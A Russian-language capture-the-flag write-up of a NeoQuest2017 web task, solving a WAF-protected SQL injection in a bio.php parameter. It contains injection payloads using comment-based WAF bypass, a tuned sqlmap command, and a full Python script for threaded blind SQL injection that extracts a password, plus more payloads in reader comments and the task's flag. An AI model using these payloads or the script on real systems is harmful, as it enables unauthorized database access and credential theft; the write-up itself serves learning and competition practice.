[NeoQuest2017] «В поиске землян» и не только…


    Пару дней назад завершился очередной отборочный online-этап ежегодного соревнования по кибербезопасности — NeoQuest2017. Выражаю особую благодарность организаторам: с каждым годом история всё увлекательнее, а задания сложнее!

    А эта статья будет посвящена разбору девятого задания: PARADISOS

    «В ПОИСКЕ ЗЕМЛЯН»

    Добравшись до корабля потерпевшей бедствие экспедиции, мы не обнаружили там никого – по-видимому, ребятам удалось выбраться. Вот только где теперь их искать? Теоретически, они могли добраться до планеты Paradisos, последней из еще не посещённых нами.

    Эта планета – райское местечко: чудесный климат, дружелюбные обитатели, радостно встретившие нас цветами и странными фруктами, весёлая музыка и куча довольных инопланетян всех знакомых и незнакомых нам рас. Парящие в воздухе мини-отели, рекламные щиты на разных языках (включая земной английский). Нас торжественно проводили в прекрасный отель, пообещав полное содействие по поиску членов экспедиции и по обмену знаниями о наших планетах. Нам удалось узнать, что ребята действительно были здесь и даже создали свой сайт, на котором каждый из них делал записи о космическом путешествии.

    Адрес сайта сохранился, но мы увидели там имена только четверых исследователей. Оказалось, что ушлые инопланетяне требуют денег за доступ к полной информации. Платить мы, конечно, не будем. Попробуем «хакнуть»!

    К заданию прилагается адрес сайта, который выглядит подобным образом:



    Первым делом мы разберёмся откуда берётся текст к биографии каждого из «исследователей»:

    $("#DanielButton").click(function(){
        $.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
            $("#ScientistBio").html(result);
    $("#Avatar").show();
    $("#Avatar").attr("src", "img/lava.png");
        }});
    });

    Идём по ссылке: "./bio/bio.php?name=Daniel" и видим текст биографии. Логично! Первая мысль, которая посетила меня на этой странице (а я надеюсь, что и тебя, %username%, тоже) — попробовать SQL Injection в параметр name.

    Пробуем:

    name=Daniel'+or+1=1+--+1

    А нам в ответ:

    Forbidden
    You don't have permission to access /bio/bio.php on this server.

    Значит сайт защищен WAF. Что же, это уже интереснее: значит есть что защищать!
    Опытным путём было установлено: «information_scheme», «database()», «SELECT *», «UNION» — запрещены для использования. Идём далее…

    Пробуем:

    name=Dan'+'i'+'el

    И нам в ответ приходит текст его биографии. Значит пробел работает в виде конкатенации. Попробуем иначе:

    name=Daniel'+or/**_**/1=1+--+1

    Бинго! В ответе нам вывелась биография всех шести исследователей (а не 4, как на главной странице): Roy, Ohad, Naomi, Daniel, Baldric и Sigizmund. Биография последнего гласит: «Like ctf and space!». Однако, нигде нет ключа. Значит нужно забить копать глубже!

    Мною было принято решение расчехлять тяжелую артиллерию: sqlmap ¯\_(ツ)_/¯
    После первых N попыток завести тырчок подцепиться к SQLi меня ожидало фиаско: sqlmap ни в какую не видит вектора, а в ответ ему сыпятся многочисленные: «403 Forbidden».

    Правильно настроив техники обхода WAF (нужно было использовать ЭТО, но я же дурной решил написать свой, используя ту же самую технику, добавив лишь в начало и конец нужные PREFIX и SUFFIX), у нормальных людей могло бы выглядеть так:

    sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"

    PWNED:

    Parameter: #1* (URI)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause
        Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1'  OR 228=228 -- 1
        Vector: OR [INFERENCE]

    Однако, радоваться было рано: sqlmap упорно использовал запрещённые к употреблению «словечки» и максимум, что можно было сделать — использовать sql-shell:


    В любом случае, мои догадки подтвердились — BBbSQLi. Вспомнив пару уроков «Очумелые ручки» было создано это:

    Ахтунг! Вызывает рак клавиатуры
    #!/usr/bin/python3
    import requests
    from multiprocessing.dummy import Pool as ThreadPool
    import sys
    import subprocess
    import time
    
    pool = ThreadPool(101)
    pos = 1
    passwd = ''
    
    
    def getSockCount():
        proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        output = proc.communicate()[0]
        return int(output.decode())
    
    
    # Send SQL Request
    def connect(sql):
        url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
        req = requests.get(url % sql.replace(' ', '/** **/'))
        if 'Hello! My name is' in req.text:
            return True
        return False
    
    
    def findColumns(item):
        if item.isdigit():
            return
        sql = "%s>'0'" % item
        if connect(sql):
            print('Column: %s' % item)
    
    
    def getFieldValue(item):
        global passwd
        sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
        if connect(sql):
            passwd += item
    
    
    alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/']
    # Brute Columns
    if len(sys.argv) > 0:
        tables = open(sys.argv[1]).read().splitlines()
        chunk_size = max([len(x) for x in tables])
        while True:
            pool.map(findColumns, tables)
            while getSockCount() > 2:
                time.sleep(1)
    # слепой перебор символов в поле
    else:
        while True:
            pool.map(getFieldValue, alph)
            while getSockCount() > 2:
                time.sleep(1)
            pos += 1
            print(passwd)
    


    Используя данный скрипт были получены поля: «id» и «password». Решено было начать «брут» с пользователя «id=6» (aka «Sigizmund»). В итоге, это выглядело как-то так:



    В конце концов, человеки победили! Флаг: 14eb6641da38addf613424f5cd05357ce261c305
    • +13
    • 3.7k
    • 5
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 5

      +3

      Мое решение выглядело примерно так:
      Sigizmund'=password like _utf8mb4'14eb6641da38addf61%'#
      Если в выборке возвращается Sigizmund — true.

        0
        Отличный вариант! Я о нём даже и не подумал :)
        0
        Спасибо за приятные слова! Мы старались сделать NeoQUEST еще увлекательнее. Ждём на «очную ставку» ;)
          +1
          Получить всех пользователей удалось так:
          /bio/bio.php?name=Ohad%27%2bname+--+
          Вытащить пароль сигизмунда удалось перебором с помощью бурпа так:

          /bio/bio.php?name=Sigizmund'+and+password>0x313445423636343144413338414444463631333432344635434430353335374345323631433330344§0§+or+"s"+' 
          

            +2
            Еще вариант от участника:
            bio/bio.php?name=%27+group+by+1+asc+union+select+1,name,password+frOm+/*!50000nbusers*/--+-

          Only users with full accounts can post comments. Log in, please.